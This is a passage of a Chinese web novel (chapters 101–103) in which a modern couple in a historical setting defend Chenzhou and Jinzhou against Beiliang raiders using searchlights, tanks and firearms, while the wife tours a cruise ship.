明明他们中大部分人都没有上过城墙,但却说得一板一眼。北凉的投石车是众所周知极厉害的攻城武器,但却在郴州城外才开了个张,投了几块石头,就被袁大人的火/箭/炮一炮轰烂了。 那火/箭/炮不过三尺多长,成人手臂粗细,一个人就能扛动,轰出去炮/弹却能将地面炸出一个老大的坑洞。威力丝毫不亚于前段时间开进郴州城的坦/克车。 谢云溪惊奇说:“坦/克车?他们真这么说?” 念荟点头:“我亲耳听到的。” 谢云溪笑了。看样子最近征到的新兵能耐不小,竟然知道这么多事情。 100-110 第101章 第101章 狙击 “景钰她们呢?都歇下了吗?”谢云溪又问。 “还没呢。”念荟回答, “我刚刚去看了,关小姐她们房间的灯都还亮着。” 谢云溪点了点头。 这几个丫头今天应该都累到了。 刚开始教学的时候,她想的是挑几个机灵能干的丫头或婆子, 做一些类似现代医护的事儿, 但庄静等人将各自的宝贝女儿带过来时, 她改变了主意。 将现代医护类常识教给丫头婆子们, 她们即便是学有所成,但也未必有用武之地。这些人都依附着她们的主家, 对自己的事情尚且不能做主,又怎么能将所学用到该用的地方。 贵女们就不一样,在这里她们虽然不能像男人一样闯出一番天地,但自主性比丫头婆子们还是大多了, 说的话做的事也更有影响力。 倒不是她想打破陈规,让这些千金小姐们做什么新式女性。只是眼下的世道不好, 她们的父母们铸就的锦衣玉食转瞬间就能成空,唯有自己强大了,才能在这个乱世里活的更好。 关景钰等人的变化是显而易见的,从刚开始的见血就晕, 不敢上前,到现在的主动帮忙,也就不到一个月的时间。 时间不早了,谢云溪也没有在室外多呆,回房间后和袁淼说了会话, 又看了一会船舶资料, 正准备要睡。突然听到了号角声。 她愣住了,一时间怀疑自己是不是出现了幻觉。 贺天凤匆匆进来:“夫人,北凉人又来了!” 念荟变了脸色。 谢云溪定了定神。这是夜袭! 北凉人白天吃了大亏, 在猛烈火力的压制下,连靠近郴州城墙都很困难,暂时退去后,夜里卷土重来了! 夜半子时,正是人最松懈的时候,再加上光线的缘故,北凉人以为白天的那些火炮定然威力大减。 所以,他们又来了! 谢云溪坐了下来。 这一次,估计又要让北凉人失望了。 她今天去医棚那边帮忙的时候,看到了沿着城墙密布的电线,前几天女儿传过来的发电机这次应该会用上派场了。 游轮买到之后,她和袁博文上船去看了。在底仓里面发现了充足了的燃油燃料。 也因此,袁博文想到了发电机,让女儿买了几台传了过来。 燃油发电机一旦用起,将黑夜照亮的犹如白天一点儿问题都没有。 她在现代看过许多工地上就是这么照明的。 不过,虽然谢云溪知道有了电,光线不好不再是大问题,但她心里依旧有些忐忑。抬眼对念荟说:“你让连护卫赶紧来一趟!” 念荟应了一声是,去叫人了。 谢云溪听着外面大街上车辆连续过去的动静,还是有些紧张。 关景钰等人都过来了。她们刚刚睡下,就听到了动静,这会儿脸色都不好。 谢云溪安慰说:“不用担心!军中早有准备。” 连虎过来了:“夫人!” 谢云溪说:“你去城门那边去看看,有什么情况,及时来报!” 连虎应下了,安排人手看紧府衙后,带着两名手下,骑了马往城门口方向去。 大街上,巡防营的士兵列队走过,许多听到动静的人也都起来了,胆大的也在往城门口方向而去。 众人的脸色都不大好,惴惴不安里带着恨,有的边走边在骂。 连虎心里也沉甸甸,白天的战况他已经知道了。北凉这次来了不少兵,还带来了攻城车,一波波冲击都被城墙上的枪炮和弩箭打退了。他们攻城车也就往城里投了几块石头,就被神器营的火箭炮给炸烂了。 没想到他们退走后,半夜又来了! 夜里的战可没有白天的好打,袁大人的枪炮虽然厉害,但是看不到怎么打?火把再多,也照不了多远。 他也在心里咒骂。 距离城门口还有一段距离时,连虎手下的人突然叫了一声:“大人,那是什么?” 连虎顺着他所指抬眼看去,一下子愣住了。 城门口方向竟然火光冲天! 连虎吓了一跳。以为战事已经打到了城墙门了。连忙加快了脚步。但跑着跑着,他的速度不由得慢了下来。 前面亮堂堂的哪里是火光,分明是一盏极其明亮的大灯,高高挂在城墙上,明亮的光芒将数百米范围映照的犹如白日。 不仅城门口附近,连绵数里的城墙上也挂着许多这样的灯,只不过城门口这边的灯更大更亮,光束还在转动,照射之处什么都能看得一清二楚了。 “大,大人!这是……灯吗?” 连虎也不知道,他从来都没见这样明亮的灯。 宛若白日的城墙下到处都是人,除了匆匆忙碌的士兵,也有赶过来看情况的人。 许多人都被挂在城墙上的大灯吸引了,指点着询问,一时间连危险都忘记了。 连虎没敢靠太近,远远看着。 外面已经在打了,枪声弩箭破空声和爆炸的声音在响,哭声喊声也隐隐能听到,城墙的石阶上人来人往。 连虎看了好一会,发现了一张熟面孔。 “八斤!” 游八斤正招呼着两个人抬着一箱弹药要上城墙,听到了声音回头,看到是连虎,连忙小跑过来。 “连护卫,你怎么来这里了?” “袁大人呢?”连虎问。 游八斤回头往城墙上一指:“大人在上面。” 连虎拍了拍游八斤的肩膀,也往城墙上去。游八斤跟上了他。 连虎看了看旁边耀眼的大灯:“那是什么?” 游八斤回头看了一眼:“那是探照灯!” 连虎头一次听说探照灯,心里惊奇,但眼下并不是关注这个的时候,有羽/箭贴着他的头顶飞了过去。 城墙上到处都是人,有一名士兵在站在城垛间,架着机/枪往下方扫射,爆炸声时不时响起,骑射营的人正在也在放箭。而城墙下的北凉人密密麻麻,骑马挥刀正往城下冲过来,但还没近到跟前,就纷纷倒下了。 连虎看得热血沸腾。 神/器营的这些枪果然厉害!连骑射营的连/珠/弩都望尘莫及了。 连虎找到袁博文的时候,袁博文正在督战,他看到连虎,脸色一沉:“你怎么来这里了?夫人呢?” “夫人在府衙里,她担心大人,让我过来看看。” 袁博文松了一口气:“回去吧!告诉夫人,我很好!” 连虎应下后离开了。回到府衙后,把一路所见告诉了谢云溪。 谢云溪松了一口气,抬头见关景钰等人都巴巴望着她,她笑着说:“没事了,你们回去歇息吧!” 张二小姐悄悄看了看关景钰,关景钰犹豫了片刻,应了一声是后,离开房间。张二小姐等人慢了片刻。 出了院门后,张二小姐追上了关景钰:“景钰,你见过探照灯吗?” 关景钰摇了摇头。她没见过,实在想不出会有什么灯能把黑夜照耀的犹如白日。但她相信谢云溪。她说没事,那就一定没事。 “我也没见过。”张二小姐轻声说。 听到城外的爆炸声响,她觉得自己的心都跟着揪了一下。 真的没事吗?但分明还在打! 张二小姐担心着自己的父亲张时文,她知道他眼下一定就在城下帮忙。他虽然不会冲锋陷阵,但是一旦城破,首当其冲就是他们这些守在城门口的人了。 她想去看看,或者和白天一样,在那边和大家一起忙碌。但是父亲和母亲都交待过,一定要听袁夫人的话。 回到了芷兰院,关景钰和张二小姐等人都没有马上歇下,一直到天亮后,终于听到了大胜的消息。 其实,晚上的这一战持续的时间并不长,电一通,探照灯一开,北凉人就知道不对劲,冲了几波便退了。 打扫战场的人出城了,天放亮时,城墙上的探照灯和其他灯都灭了,但探照灯之名很快就传遍了全城。 谢云溪知道的时候,正在用早食。她笑了笑,没有说话。 这天,她依旧带着关景钰等人来到医棚帮忙。昨日倒塌的医棚半夜里又重新搭建了起来。 城门口帮忙的人也比昨日多多了。两次打退了北凉人的进攻,郴州城内的居民也有了信心,许多人都过来帮忙了。 袁博文找过来的时候,谢云溪正扶着腰站起来,看到大步流星走过来的人,她笑了笑。 袁博文的脸色却有些臭,扶住谢云溪后,忍不住低声埋怨:“不是让你别过来这边吗?” 谢云溪笑着回答:“我闲着也是闲着!你也看到了,我根本没动手,都是念荟她们在忙。” 袁博文不知道说什么才好了,夫妻多年,他知道谢云溪的个性。要让她袖手旁观,几乎不可能。 将人扶到一边坐下后,袁博文顺手拿了一包湿巾给谢云溪擦手。 谢云溪问:“伤亡情况怎么样?” 袁博文:“具体数据还没有出来。” 谢云溪看出袁博文神态轻松,知道情况应该还好,又问起昨天晚上的战况。 “昨天晚上,北凉人并没有大动干戈。” 袁博文觉得有点遗憾。昨天晚上,探照灯一开,原本来势汹汹的北凉人就弱了气势,没多久就退,他还出城趁胜追了一段距离,直到到了探照灯的范围边缘才回转。 谢云溪点了点头:“今天城里的人都在说探照灯的事。” 袁博文又笑了一下,何止城内居民,军中的人也在询问打听探照灯和电的事情,张时文也过来了,围着发电机看了许久,问了很多问题。他实在招架不住了,找了个理由把人打发了。 “昨天他们还说了火/箭/炮和坦/克的事情……你不是管束着新兵营的人,让他们严守口风吗?” 袁博文皱了皱眉,他也发现了有关军械的消息在外面流传,真的假的都有。 “最近招的新兵比较多……人多嘴杂!” 晋州守军进驻郴州之后,就开始征兵了,郴州人多,兵也好征,虽然这些新征的兵大多数还在训练中,但一些表现出色的这次也上了场,老新混杂,有些事情就没以前好管了。 “不会出事吧?”谢云溪问。 袁博文摇头:“不要紧。” 就一些无关紧要的信息而已,现代化机械军/械等他从来都没有让不了解的人接触。 “等这场战打完了,我再好好查一查。” 谢云溪点了点头:“我想明天到船上去看看。” 袁淼传过来的资料,谢云溪已经看完了,视频她也看过了。她想看实物了。 她知道女儿袁淼这几天几乎没有出门,就守在镜子跟前。如果她这边有疑问,刚好可以联系她询问。 一连两场败战,她估计北凉会好好反思一阵子了,不会再贸然攻城了。 “明天啊……”袁博文犹豫了片刻。 谢云溪马上说道:“我知道你没时间,有念荟和天凤陪着我,你不用担心。” 袁博文想了想,他确实没时间。虽然他也觉得北凉不会再贸然对郴州发动攻击了,但是军情变化莫测,一点儿都不松懈。 “袁归那边的事儿忙得怎么样了?” 袁归自前几天拖了一车粮食过来后,就没回去晋州了,一直在郴州这边负责名义上的军需粮食出售事宜。 谢云溪笑着说:“你想让袁归跟着我们一起上船?” 袁博文确实有这个想法。游轮的事情非同小可,那地方被他整个圈了起来,严加看管着,知道的人不多。 身边的人,他最相信的还是跟了他们夫妻很多年的袁归念荟等人。 “他忙着呢!昨天晚上半夜才回府衙。” 自打梧桐巷那边的铺子开始售卖粮食后,城里原本关门歇业的粮行第二天就纷纷开门营业了。 可惜,生意一落千丈,几乎无人光顾。 不过,城外的北凉人一来,他们的生意就好了起来,只是远远不如梧桐巷那边的军需粮食售卖火热。 那边这几天半夜都有人在排队。 她粗略算了算,只这几天,他们就卖出了二三十吨的粟米和黍米。 按照女儿买到粮价,粟米和黍米都是四元多一斤,黍米略微便宜些。 而郴州这里粟米卖到了五十文一升,黍米六十文钱一升。 这里的一升跟现代的两斤差不多,这里的一文钱相当于现代的两三元钱。 也就是他们每卖出一升粟米差不多能赚到七八十元钱,黍米赚的更多。 只这几天,他们就赚了好几百万。 现代的粮食在这边出售,说句暴利,毫不为过。 “你别担心了,有念荟和天凤陪着我一起,还有连护卫他们,这郴州城里还有人敢打我的主意吗?” 袁博文看了看谢云溪的肚子。 谢云溪笑了:“我自己是个医生,心里有数的,你别担心了。” 她现在有六个多月了,除了笨重点以外,能吃能睡,其他一切都很好。 袁博文犹豫了好一会儿:“那行,你自己注意点。” 谷雨找了过来,袁博文就离开了。 第二天,谢云溪就带着念荟和贺天凤等人来到海边,在高耸的围栏门口让连虎等人留了下来,就带着念荟和贺天凤进去了。 贺天凤眼尖,一进到围栏里面就看到远处停靠在码头旁边的庞然大物。她瞪大了眼睛。 “夫人,那是什么?” 谢云溪笑着说:“游轮。” 贺天凤第一次听说游轮,看得目不转睛。念荟也注意到了,心里震惊无比。但是她跟了袁博文和谢云溪夫妇很多年了,早就习惯各种匪夷所思的事情,依旧稳稳扶着谢云溪往前走。 靠近了游轮,贺天凤惊讶得嘴巴都忘记合上了。上船时,素来沉稳的她一个踉跄,差点摔倒。 谢云溪回头看了看,笑着交待了一句,上了船。 一连两天,她都在船上摸索。 这两天袁博文也忙得团团转,接到斥候营的消息时,他难得露出了的笑容。 准备了这么久,终于到收网捞一把的时候。 第102章 第102章 回援 营帐中还有其他主将, 听了斥候回报的消息,黄峥性急,忍不住说:“大人!北凉人的这队人马往东去, 分明就是冲着晋州过去的!晋州的人不多, 咱们得赶紧回援啊!” 其他主将纷纷点头附和。 袁博文看了众人一眼, 眼里有笑:“急什么?”他走到沙盘旁边, 聚精会神看起来。 黄峥等人面面相觑。 怎么能不急?大家的家小都在晋州。从晋州出来时,许多人都没来得及跟家里人知会一声就走了。 现在北凉要打晋州了, 晋州那边才几个兵? “大人……”黄峥正要说话。 袁博文抬了抬手,眼睛依旧盯着沙盘:“晋州自然是要回援的,但在此之前,咱们得把这个清理掉!” 他声音冷冽, 手在沙盘上点了点,各营主将都围了过来, 一眼就看到了他所指的地方正是北凉人的营地。 这几天有火/炮/机/枪和弩/箭在城墙上紧守,北凉人不再大肆进攻了,小队的试探常有,但只要进入火力覆盖的范围, 无一全被歼灭,也因此他们不敢再靠近郴州城墙了。 不过,晋州军也没有出去,但斥候营有望远镜在手,北凉人营地那边的情况, 城里的人依旧了如指掌。 “这里的北凉人不多了!” 袁博文话音刚落, 好几个主将眼睛一亮,黄峥慢半拍,依旧皱着眉头在想。 袁博文抬眼看向黄峥:“这次郴州城内就交给你了!” 黄峥虽然还有疑问, 依旧拱手应下。 袁博文又看向长枪营和大刀营的两位主将。若论近身战,毫无疑问以这两个营的实力最强。 再配合神器营的火力,远近都不是问题了。 从晋州开车来郴州的路上,他就有了分化打击的想法,现在终于等到了时机。 北凉人这次来的人不少,精锐骑兵加其他兵种将近万人,不过还没有进入郴州地界就被他们伏击了一波,精锐骑兵损失不小。 来到郴州城下之后,连续两次吃败,又损了不少人。 现在,他们见郴州一时拿不下,便又分了千余人奔袭晋州。 这样一来,留在营地的北凉人就没多少了。 晋州守军硬扛北凉大军是不太行,但是他们现在有了现代化军械。 如今,他麾下的神器营人数已过六百。有枪/炮/坦/克在手,再配合善于近战的长枪营和大刀营,这一战就可以打一打了。 打赢了这一战,他们掉头就去晋州。 若是以前,哪怕他们打赢了这一战,想要回援晋州,那也来不及了。 但是,现在他们有车。 北凉奔袭晋州,即便是精锐骑兵,最快也得将近两天才能到达晋州城下。 可他们有车,也就一两个时辰,就能赶过去了。 袁博文把情况分析完后,黄峥忍不住露出了激动的神色,狠狠捶了捶手:“好!” 其他主将也都有些按耐不住了。 袁博文左右看了看,点着沙盘上北凉人营地:“这一战至关重要!必须速战速决!” 主将们的脸色变得严肃了,点了点头。 “……长枪营配合神器营,左右夹击,从这儿形成包围,大刀营从这儿过去,形成合围……” 袁博文又看向黄峥:“这次骑射营就不出去了,郴州城交给你们了!还有巡防营!” 黄峥和江虎应下了。 袁博文把事儿分派后,主将们各自去准备了。 袁博文又叫来谷雨:“你去一趟海边围栏那里,找到连护卫,告诉夫人,这几天我不一定在郴州,让夫人注意安全,府衙就别出去了。” 谷雨应下后出去了。 袁博文又看了一会沙盘,等到谷雨回转,得知谢云溪已经准备要回府衙后,他放心了。 整理好装束后,来到了神器营。 数十辆坦/克已经整装待发了,后面则是数辆卡车,里面都是枪/支/弹/药。 各营的将士也已经集结完毕。 袁博文上了一辆越野车。 车开出郴州城时,两边都是围观的居民。 这些天郴州城内车来车往,民众们逐渐习惯了,已经很少出现围观的现象。但今天显然不一样,车队和大批人马将近一个时辰方才走完。 越野车出了城后,速度就快了起来,没多久,袁博文就看到了北凉人的营地。 那边也知道异动,正在快速调兵遣将,有敌来袭的号角声也吹响了。 袁博文打开了越野车的天窗,架好狙/击/枪,在瞄准镜里了搜找北凉这次的领军大将。 找到后,一枪爆头。 北凉人的营地乱了。 连续打爆了几个脑袋后,战争打响了。 炮弹落到了人群中,炸出了一朵朵黑云,受惊的马将马背上的人掀了下来。 袁博文从越野车上下来了,上了旁边的一辆坦克里,重/机/枪扫射之下,汹涌过来的人群纷纷倒下。 合围逐渐收拢。 战争结束时,夕阳西下了,旷野中无数尸首静默躺着。 袁博文身上没一处干净了,脸上也都是血,他静静躺了一会儿后,爬了起来。 “谷雨!” 正在旁边休息的谷雨一个激灵爬起来:“老爷!” 袁博文看了一眼旷野,遍野的尸首当中肯定也有他熟悉的人,但是他来不及收捡了。 “让各营主将过来……再通知游八斤准备好车!” “是!” 谷雨去找人了。 袁博文看了看时间,天马上要黑了,他们也要出发了。 * 庄炜回到府里时,天已经黑了,亲随过来伺候更了衣。 庄炜问:“老夫人好些吗?” “好些了,今日上午发热退了后,人就好些了,下午还喝了小半碗粥。” 庄炜松了一口气。 自打袁夫人离开晋州后,周氏就跟他吵了一顿,说他不顾亲儿安危,人人都知道晋州危险,想方设法把孩子送出去,就他愚钝不听。 可怜,她只有烨儿一个独苗,竟要落到这样的险地。 他实在听不下去了,反驳了几句。结果,更像捅了马蜂窝。说景和没走,那是多少人盯着,为了大局,妹妹方才不把景和送走,只是让袁夫人带走了景钰。 关家两个孩子,好歹走一个。而他们只一个独苗,明明有机会。只需要跟袁夫人说一声,想来凭着两家的交情,袁夫人一定会答应,带走烨儿。可他偏不去说。 女人闹起来,简直不可理喻。还是老夫人教训了几句,方才消停。 但是前几天郴州那边来人,让袁掌柜拉了一车粮食到郴州去了。这事让周氏知道了。她更确认了自己想法,竟然连老夫人也怪上了。 老夫人又急又怒,就此病倒了。周氏吓了一跳,倒是消停了。 庄炜来到庄老夫人房里,周氏正伺候庄老夫人喝完药。 “PMDUJIA母亲好些了吗?” 庄老夫人示意贴身婆子扶她坐起:“我没事了,受凉而已,躺几天就好。” 又问起了的府衙的事。 “有孙大人等人提点,府衙一切都好。” 庄老夫人点了点头:“你经验尚浅,是该多向几位大人求教。” 庄炜低着头听训,晋州府衙事务,他的确经验不足,但张大人临走的时候把一切都安排好了,他只需按旧例就行。 如今的晋州城虽处在风雨飘摇中,但城内居民衣食都有,倒也算平静。近来有不少流民过来了,经过盘查后,也准许了一些人进城。他们也带来了外面的消息。 如今的北地大半沦陷,北凉治下的地方,别说安稳度日了,朝不保夕都是常有的事情。 新进入城的人诧异晋州的丰足。城内的米粮价格竟然不到许多地方的一半,布庄的货源南北料子都有,价格也相宜。粮行里面竟然摆上了许多新鲜水果蔬菜。 这日子竟比北凉人来之前差不了多少。 听到有人这么说,庄炜心里有些自豪,但也知道这里面谁的功劳最大。 “郴州那边有消息了吗?”庄老夫人又问。 庄炜顿了顿:“有!今日斥候来报,北凉大军到了郴州后,与城内的晋州军打了两场,都败了!” 一旁周氏脸色变了:“北凉大军到了郴州吗?什么时候的事儿?” 庄炜不敢抬头:“有几天了。” 其实,他早就知道了郴州那边的消息,晋州城的兵虽然不多,但是斥候营的人还是有几个。而且,袁博文也给他们留下了车和望远镜。 前不久还让人送了两个对讲机过来。 “你怎么不早说?”周氏不禁埋怨。 庄炜还没有回答。庄老夫人板了脸:“军/务大事,岂能随意透露?” 周氏低下了头,心却提了起来。 庄老夫人又对庄炜说:“袁大人善谋善战,想来北凉人这次一定会无功而返。” “不过,咱们晋州跟郴州一气连枝,你们也要小心起来。” “母亲放心,府衙和城防都有准备。” 庄老夫人点了点头。 庄炜见庄老夫人面露疲惫,又了几句话后,离开了。 半夜,庄炜突然惊醒,听到了门外亲随的声音。 “老爷!城防有紧急军务!” 庄炜连忙起身,披了件衣裳便走。 周氏睡得迷迷糊糊:“怎么了?” “城防有紧急军务!我要赶紧过去了!” 周氏的睡意一下子没有了:“北凉人要来了吗?” 她慌里慌张要起来。庄炜连忙按住了她。 “你慌什么?”叹了口气,庄炜又说:“你赶紧让人去一趟守备府,让妹妹带景和过来!” 周氏愣住了。 庄炜又低声说:“要是情况不对,你们就来府衙!府衙里有一辆车……” 周氏一下子明白过来。 原本,并不是庄炜不顾亲子,而是府衙有车! 她听许多人说过,袁大人的车非同一般,比骑马快多了,寻常从晋州到郴州,至少得三四天,但若是乘车,一个多时辰就能到达了。 庄炜并没有等到周氏回应,开了门,一边穿衣,一边询问:“什么事?” “巡防营来人不肯说,让大人您赶紧去城门口!” 庄炜心中一凛,不再询问,让亲随赶紧去牵马。 还没有到城门口,庄炜就看到那里灯火通明,人来人往,防御栅栏也已经拦起来了。 童成正在指挥调动城防士兵做事。 “童大人!” 庄炜下了马,就被童成一把抓住了:“我刚接到消息,北凉人要来了!约有千余人!以骑兵为多!还有约一个多时辰就能到郴州城下了!” 庄炜的脸色一下子变了:“当真?” 童成点头,脸色也格外凝重:“郴州那边应该也知道这事,说不定正在赶来路上!咱们一定要撑到他们到来!” 庄炜压下狂跳的心,郑重点了点头。他相信袁博文,绝不会弃晋州不顾。 “巡防营一共有多少人?其他各营呢?他们都知道了吗?” 童成说了数。人确实不多,加起来不到五百,这里面最多的还是巡防营的人和新兵营的人。 巡防营以往主要负责城内巡防事务,参与对敌北凉人的时候不多。 新兵营更不用说了。 庄炜想了想:“码头那边,袁大人留下了人手,要不要跟他们也说一声?” 童成回答:“我已经派人去通知了。城门口正在布设防线,城内的事情……庄大人觉得,要不要让城内民众知道?” 庄炜也犯了难。如果把消息传开,无疑会有很多人过来帮忙。晋州军民一条心,这样的相互配合已经有很多次。 但是消息传开了,一定会引起恐慌。毕竟大家都知道晋州的兵不多了。 “庄大人!童大人!” 庄炜正在纠结,突然听到有人叫自己。他转过头看到有两个人抬着一个担架过来了。担架后面还跟着一队人。 担架上的人半卧着,头上缠着绷带,手上抓着一把长刀。 正是袁博文的副将商泽。 “商副将,你怎么过来了?” 看到商泽,庄炜莫名松了一口气。 他知道在逃难路上的时候,商泽就跟着袁博文了。他是镖局趟子手出身,身手十分了得。 童成看到商泽后面的人时,嘴巴都忘记合上了,眼睛更是一眨不眨盯着他们身上的枪。 “北凉人还有多久到这里?”商泽问。 他的伤还没好全,这些天一直都在码头那边的宅子里静养。 “约一个时辰!”童成回答。 商泽看了看周围布设的防线,与袁大人在时差不多。 “城内巡防营眼下有多少人?斥候营呢?” 童成回答了问题。 商泽点了点头:“让巡防营的人都过来!新兵营周副将那里应该也有人手,让他们也过来……抬我上去看看!” 童成连忙亲自动手,抬着商泽上了城墙。 商泽居高临下看着,夜幕凝重,晋州城外的天地一片漆黑。 一千多骑精锐!比他们第一次见过的北凉人还多。 那次有守备大人和袁大人在,他们第一次打退北凉人的进攻。 眼下,晋州城里的兵不足五百! 不过,他们现在有枪! 商泽回过头,童成已经把巡防营的人带过来了。 商泽看了看,不足百人。他心里微凉。但是他知道袁大人一定不会放弃晋州。 朝着地上的箱子抬了抬下巴,商泽说:“让他们一人拿一支枪!” 童成愣了愣。 枪?! 巡防营的士兵们也暗自激动起来,一时间简直不敢相信听到的。 是神器营的那种枪吗? 商泽见没有人动,抬眼看了看童成,童成回过神来,走到已经打开箱子跟前,接过了递过来的枪。 冰凉,微沉,完全有别与巡防营常规兵械长枪与大刀。 商泽见所有人手中都有了枪,他也拿了一支出来:“都看好了!” 上膛!瞄准!预备! 商泽一气呵成完成,末了,放下来,正准备让这些新人试一试。突然听到了不寻常的响动。 “等等!有东西过来了!” 童成心里一惊,庄炜也变了脸色。 斥候营来报,不是说北凉人还有一个时辰才到吗? 这才过去多久?竟然来得这么快! 商泽已经架起了枪,瞄准了前方。他带来的人也迅速找好了位置。 童成也回过神来,连忙招呼巡防营人手站位驻守。 庄炜在旁边,一时间不知道自己该干什么。看着不远处装枪的箱子开着,他也过去拿了一支枪,学着刚才商泽的动作手忙脚乱上了膛后,瞄准了晋州城的前方。 夜如墨黑,似乎有什么庞然大物隐藏其中,薄雾中有几道不寻常的亮光划过,正朝这边疾驰而来。 庄炜眯着眼睛,心已经提到嗓子眼了。 是北凉的骑兵过来吗? 回答他心中疑问的是一阵寒风,带来的并不像是马蹄汹涌的声响,倒像是凌厉寒风从旷野扫过的呼啸声响,只片刻就到了眼前。 一辆越野车冲破了黑暗,出现在晋州城下了。 第103章 第103章 拥护 “是袁大人!袁大人来了!郴州来人了!快开城门!”商泽激动喊道。 城门打开了, 越野车开了进来。 没多久,又有一辆卡车开了过来,看到卡车后面还亮着许多车灯时, 庄炜也忍不住激动起来。 郴州来人了!而且还不少! 他也转身跑下了城墙。 袁博文已经下了车, 正在询问商泽的伤势。 商泽一脸激动, 想要起身, 被袁博文按住,他望着袁博文:“大人, 我很好!” 袁博文看了一眼商泽后面的人,知道他把码头那边宅子里的人带了些过来。但并不是全部,商远和威远镖局的另外几位师傅都没有过来。 码头那边宅子里的东西非同小可,除了车和军/械, 还有净水设备,这些要落到了北凉人手上, 后果不堪设想。 他拍了拍商泽的肩膀,眼中有赞赏:“好!” 随后看了看周围,留在晋州巡防营的人都过来了,新兵们也出现了好些个。 没想到晋州城只剩下了为数不多的兵, 他们也能像模像样筑好了防线。 目光扫过童成,面对他激动的脸色时,袁博文微微点了点头。童成脸上乐开了花。 听到城墙上有人奔跑下来的声音时,袁博文抬头看去,见是庄炜, 笑着招呼:“庄大人也在啊!” 庄炜心里激动, 也冲袁博文拱手招呼,心中沉甸甸的石头落了地,只觉得浑身轻松。 卡车开进了城里, 车上的人陆续下来了。一刻不停,下来后直接往城墙上奔跑过去,拿/枪的,扛/炮的。庄炜看得眼花缭乱。 长枪营和大刀营的人也在迅速就位。 袁博文回头对童成说:“童大人,晋州城内巡防还需你们多费心了!” 童成高声应下。晋州的主力军都回来了,这里自然没他什么事儿。他看了看手中的枪,心里有些不舍,但城内巡防用不着这样的好东西。他咬牙放下了,又招呼巡防营其他人等把枪放回去,领着他们退到了一边,跟往常一样协助城防。 庄炜见袁博文看了一眼放回去的枪没吭声,也只得万分不舍把手中一发都没打的枪也放下了。跟童成等人一道在城门口协助城防。 袁博文看到了童成和庄炜的表现,他没吭声。枪这种东西,虽然不是什么了不起的军/械,但在这里依旧属于划时代的东西,他并没有让许多人接触。 回来的人在陆续就位。袁博文又对商泽说:“你回码头一趟,把那边院子里右手第二间房子的箱子抬五箱过来了。” 现在跟他一起进城的大多都是神/器/营的人。二十余辆卡车,也就能拉了八九百人。后面的人来得没那么快,不过他们也有马和车,赶得及时,刚好能包个饺子。 只是军/械只能在这边补充了。 商泽应下了,让人抬着他回去了。 袁博文见城门口的布防已经差不多了,便上了城墙。 正值夜间天最黑的时候,城墙上的火把虽然众多,但是能看到范围并不大。 袁博文有些怀念郴州那边的探照灯了。 电一通,城下一两公里范围内都能看得一清二楚。 哪像现在,简直就是睁眼瞎。 接过谷雨递过来的望远镜后,袁博文的心里才稍微踏实些。 数公里范围,北凉人的身影还没有出现。 但是也没过多久,斥候营的摩托车呼啸过来了。 晋州城墙上的号角吹响时,庄静已经带着儿子关景和来到了庄府,听到声音,她惊得一下子站起,抓着帕子的手都泛出了青白。 周氏也变了脸色:“是,是北凉人来了!老爷说过,若是情况不对,让我们赶紧去府衙!那里有车!” 她说完,慌里慌张让贴身丫鬟赶紧去收拾。 塌上的庄老夫人猛然咳嗽了几声,庄静连忙过去安抚拍背。 庄老夫人缓过劲来:“慌什么?北凉人还没进城呢!你就想着逃走了!” 周氏一阵委屈,她哪是想着自己逃命?属实是不敢让儿子涉险,她年近三十才得了这根独苗,那是她的命,她一丝一毫都不敢大意。 庄静劝道:“娘,嫂嫂也是担心烨儿。” 同样为人父母,庄静知道周氏把儿子看得格外重。只是眼下,他们一家当做表率,即便是祸乱临头了,也不能乱了阵脚。 转过头,庄静又对周氏说:“不过,咱们虽怕,也不能乱阵脚。哥哥还没有回来呢!城墙那边到底是什么情况,我们都不知道就准备要走,属实急了些,要不先让人过去看看,再做定夺?” 庄老夫人点头:“你说的对!越是这种时候,越是要沉住气!” 她让周氏打发小厮赶紧去城门口看看。 一边站着关景和出声了:“……我也去看看吧?” 庄静脸色一沉:“胡闹!这时候怎能乱跑?” 关景和怏怏缩回了身子。 “你这么大声做什么?别吓到孩子了!”庄老夫人心疼外孙,招手让关景和过来,“你母亲也是为了你好,这时候确实不能乱来!” 关景和乖巧应道:“外祖母,我记住了。” 话虽这么说的,关景和的心已经飞了,眼巴巴瞅着打听消息的小厮走了,等了一会儿,终于让他抓住了机会,溜出了房子。 在门口候着小厮钱贵见关景和要出门,吓了一跳,连忙劝说。 关景和板着脸:“我是关家子弟,岂能临阵脱逃?你别拦我,让开!” 钱贵没拦住,跺了跺脚,抓住了一个经过的丫头,叫了声姐姐,请她帮忙跟关夫人说一声后,赶紧追上了关景和。 关景和走到半路上时,就听到了爆炸声响,他脸色变了,连忙跑起来。快到城门口时,就看到到处都是人。 “是不是北凉人来了?” “是的!袁大人他们也从郴州赶回来了!” 听到议论的关景和心中一喜,从人群里钻到了前面,但被巡防营拉上的防线拦住了,不能再靠近。 他踮着脚看向城门口那边。那里到处都是兵,石阶上也人头攒动,城外传来了连续不断的炮/击声响和爆炸声。 关景和心里激动。 这样的阵势,只能是袁叔叔回来了!他果然没有放弃晋州! 围观的人群中也几乎没有慌张害怕的,许多人的声音里甚至透着兴奋和激动。 “袁大人回来就好了!” “北凉人来多少,咱们都不用怕!” “这是火/箭/炮在打吧?什么?你连火/箭/炮都不知道吗?” 关景和有些汗颜。他也不知道火/箭/炮。 何止是火/箭/炮,坦/克车他也没见过。 关景和正看得起劲,视线被人拦住了,他抬起头,见是童成,连忙缩回了脖子。 童成有些无奈:“大少爷,您怎么又来这里了?” 关景和讪讪笑了笑。 “你们两个!赶紧送大少爷回去!” 关景和欲言又止,上次的那顿罚,他记忆深刻,再不敢造次了。 被压回庄府的时候,府里正鸡飞狗跳,管事的带了一群人正准备要出门找人。 关景和被带到庄静跟前时,听到母亲猛地拍了一下桌子,他吓得也跟着缩了缩,麻溜跪了下来。 “娘,您别生气了,我下次再也不敢了!” 庄静气不打一处来:“你还想有下次?!” 关景和连忙摇头:“没有了!绝对没有下次了! 庄静想起发现儿子不见了的那一刻,真真是要吓死了去,这会还在心悸。 她抚着胸口顺气。 关景和麻溜跪走到庄静跟前:“娘!袁叔叔回来了!郴州那边的人都回来了!” 这个消息庄静已经知道了,小厮来报后,大家悬起的心都落了地,结果转头就发现关景和不见了。 庄静板着脸。 关景和像是没见到一样,兴奋说道:“我刚才去看了!城门口那边严密防守着!巡防营的人抬着机/关/枪上去了,外面的炮/击声响连续不断……” 关景和口沫横飞说了一阵,瞧见庄静脸色不好,连忙打住了话题:“娘!我,我以后一定听你的话!你别生气了!好不好?” 